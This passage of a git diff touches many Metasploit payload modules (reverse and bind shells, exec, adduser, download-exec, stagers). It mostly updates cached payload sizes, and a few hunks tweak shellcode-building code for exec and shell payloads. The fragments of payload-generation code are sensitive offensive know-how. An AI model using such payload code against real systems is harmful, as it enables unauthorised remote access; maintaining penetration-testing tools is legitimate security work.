b/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 20 + CachedSize = 35 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index cf50ea5057..1d3dd09b0f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 1911 + CachedSize = 1971 include Msf::Payload::Single include Msf::Payload::NodeJS diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb index 30f5ed8241..d89af6ad67 100644 --- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 152 + CachedSize = 182 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb index b3eb2133dd..0aafd22aba 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 219 + CachedSize = 234 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index ce969a1e4a..8e134bd9de 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 129 + CachedSize = 144 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index cdf9dedfe6..08a8f93942 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 117 + CachedSize = 132 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index fa9db69b3d..b1ab1b26f4 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 567 + CachedSize = 587 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb index f29140422c..502efcbb0c 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 118 + CachedSize = 133 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 9a28b0724b..009d0f00aa 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 170 + CachedSize = 185 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index e6b90cccc7..bdf31d2045 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 106 + CachedSize = 136 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index c0c9101163..9127052406 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 95 + CachedSize = 110 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index 0c7c09b23a..3a74d57100 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 258 + CachedSize = 97 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index 0b8a394f30..047dc0bfc4 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 8 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb index 0bd2d0d1b5..b33a5a6741 100644 --- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb @@ -11,7 +11,7 @@ require 'msf/core/handler/bind_tcp' module Metasploit3 - CachedSize = 1510 + CachedSize = 1518 include Msf::Payload::Single include Rex::Powershell::Command diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb index 0e6d28cff5..5174312512 100644 --- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/core/handler/reverse_tcp_ssl' module Metasploit3 - CachedSize = 1518 + CachedSize = 1526 include Msf::Payload::Single include Rex::Powershell::Command diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index dc52854ffc..fbe52645ad 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 209 + CachedSize = 224 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index b5572c3bc6..ff007384f0 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 133 + CachedSize = 148 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index bf998753f7..510f4b5df5 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 1189 + CachedSize = 1204 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index 5b0f4d8f2b..fa61454995 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 111 + CachedSize = 126 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb index 436deb5031..9f3dcbc1d5 100644 --- a/modules/payloads/singles/firefox/exec.rb +++ b/modules/payloads/singles/firefox/exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = :dynamic + CachedSize = 1019 include Msf::Payload::Single include Msf::Payload::Firefox diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index f45d8acbf8..e5201b9a61 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 1501 include Msf::Payload::Single include Msf::Payload::JSP diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index ca47412e51..183aadcd71 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 7748 + CachedSize = 7761 include Msf::Payload::Single include Msf::Payload::Java diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 0b3bd3c7ba..88c3f9e5b9 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -15,7 +15,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 22 + CachedSize = 29 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index fabc01f2e8..0d7f26d720 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 48 + CachedSize = 52 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index 141d9e37d3..36692d22dc 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 184 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index 4fc68ab0aa..a2b1440a21 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 48 + CachedSize = 52 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 2ed64a33c6..6d240561fa 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 0 + CachedSize = 184 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index 430527ecf7..69630f74bf 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -8,7 +8,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 40 + CachedSize = 47 include Msf::Payload::Single include Msf::Payload::Linux @@ -29,7 +29,7 @@ module Metasploit3 end def generate_stage(opts={}) - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" call = "\xe8" + [cmd.length].pack('V') payload = "\x6a\x3b" + # pushq $0x3b diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index dcb8d3ce25..d81ac237ad 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -15,7 +15,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 36 + CachedSize = 43 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 1a6ce1819b..6d9a0a9b89 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 62 + CachedSize = 63 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb index 5a41ddfae5..d31c4ccc7c 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 103 + CachedSize = 70 include Msf::Payload::Single include Msf::Payload::Linux diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index 18fc91ca73..b7cf44698d 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -14,7 +14,7 @@ require 'msf/base/sessions/command_shell' module Metasploit3 - CachedSize = 473 + CachedSize = 488 include Msf::Payload::Single include Msf::Payload::NodeJS diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index bd0c7e907d..140ccdfa85 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 501 + CachedSize = 516 include Msf::Payload::Single include Msf::Payload::NodeJS diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 10610e01e1..126b9b4433 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -8,7 +8,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 23 + CachedSize = 31 include Msf::Payload::Single diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb index 39c243a804..246bbcc2b2 100644 --- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb @@ -37,7 +37,7 @@ module Metasploit3 # build the shellcode payload dynamically based on the user-provided CMD def generate - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index cea9453ba5..e10354938a 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -40,7 +40,7 @@ module Metasploit3 # ensures the setting of tag to a four byte value # def generate - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index 2326540c1c..13e4586d5b 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -45,7 +45,7 @@ module Metasploit3 raise ArgumentError, "LHOST must be in IPv4 format." end - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N") diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 7756c8f420..688f654fb0 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -16,7 +16,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 16 + CachedSize = 24 include Msf::Payload::Single include Msf::Payload::Bsd::X86 diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index b7b94c4cc3..1a1c56d38b 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit4 - CachedSize = 25679 + CachedSize = 25685 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index d0da258362..2a7ceb923f 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 381 + CachedSize = 401 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index e450654e55..c3e6eb0765 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 537 + CachedSize = 557 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index 723ee36cbc..72db7766bd 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 496 + CachedSize = 516 include Msf::Payload::Single include Msf::Payload::Ruby diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index 5801918b6c..0f16cba516 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 424 + CachedSize = 444 include Msf::Payload::Single include Msf::Payload::Ruby diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb index 66c045ca31..6027131f48 100644 --- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb +++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = :dynamic + CachedSize = 136 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index b131313de5..f90d730769 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 160 + CachedSize = 95 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index 47685dc019..63f6835cfc 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 151 + CachedSize = 86 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index e30f986522..8263e301da 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 156 + CachedSize = 91 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb index bac5858201..ce3d1fd43c 100644 --- a/modules/payloads/singles/windows/adduser.rb +++ b/modules/payloads/singles/windows/adduser.rb @@ -15,7 +15,7 @@ require 'msf/core/payload/windows/exec' ### module Metasploit3 - CachedSize = 443 + CachedSize = 282 include Msf::Payload::Windows::Exec diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index db3d09cffb..dcb1415381 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 275 + CachedSize = 285 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index d161b4384f..3ecde4535b 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 439 + CachedSize = 423 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb index 1e88f03eb3..436c0c3dfe 100644 --- a/modules/payloads/singles/windows/exec.rb +++ b/modules/payloads/singles/windows/exec.rb @@ -13,7 +13,7 @@ require 'msf/core/payload/windows/exec' ### module Metasploit3 - CachedSize = 185 + CachedSize = 192 include Msf::Payload::Windows::Exec diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb index efcf3c1b11..e0072623c0 100644 --- a/modules/payloads/singles/windows/loadlibrary.rb +++ b/modules/payloads/singles/windows/loadlibrary.rb @@ -13,7 +13,7 @@ require 'msf/core/payload/windows/loadlibrary' ### module Metasploit3 - CachedSize = 183 + CachedSize = 230 include Msf::Payload::Windows::LoadLibrary diff --git a/modules/payloads/singles/windows/powershell_bind_tcp.rb b/modules/payloads/singles/windows/powershell_bind_tcp.rb index 1042da2ee2..95ef7b26c2 100644 --- a/modules/payloads/singles/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/powershell_bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' ### module Metasploit3 - CachedSize = 1695 + CachedSize = 1703 include Msf::Payload::Windows::Exec include Rex::Powershell::Command diff --git a/modules/payloads/singles/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/powershell_reverse_tcp.rb index 20d069518b..487c0d8d35 100644 --- a/modules/payloads/singles/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/powershell_reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp_ssl' ### module Metasploit3 - CachedSize = 1703 + CachedSize = 1711 include Msf::Payload::Windows::Exec include Msf::Payload::Windows::Powershell diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb index 547ca5cfe4..92455a5b9b 100644 --- a/modules/payloads/singles/windows/x64/exec.rb +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -9,7 +9,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 268 + CachedSize = 275 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 2c95b8ee61..f8ee8f6823 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -9,7 +9,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 267 + CachedSize = 314 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb index 065b8f5685..7b16dad82d 100644 --- a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' ### module Metasploit3 - CachedSize = 1778 + CachedSize = 1786 include Msf::Payload::Windows::Exec_x64 include Rex::Powershell::Command diff --git a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb index 4db849cd89..524d876cdc 100644 --- a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp_ssl' ### module Metasploit3 - CachedSize = 1786 + CachedSize = 1794 include Msf::Payload::Windows::Exec_x64 include Msf::Payload::Windows::Powershell diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 8a96ea2837..5871e573df 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 5499 + CachedSize = 5505 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 4318ad3f42..2a95173ce7 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 6307 + CachedSize = 6313 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 514f8b35aa..5e6284c129 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5487 + CachedSize = 5500 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 6e6d4b611b..6127486d9c 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/reverse_tcp' module Metasploit4 - CachedSize = 193 + CachedSize = 71 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index fa08274121..3f0d438f87 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/reverse_tcp' module Metasploit4 - CachedSize = 236 + CachedSize = 114 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb index 79c4acae90..43a6199879 100644 --- a/modules/payloads/stagers/netware/reverse_tcp.rb +++ b/modules/payloads/stagers/netware/reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/core/handler/reverse_tcp' module Metasploit3 - CachedSize = 279 + CachedSize = 281 include Msf::Payload::Stager include Msf::Payload::Netware diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index 4fcafa11df..9768010ca5 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -9,7 +9,7 @@ require 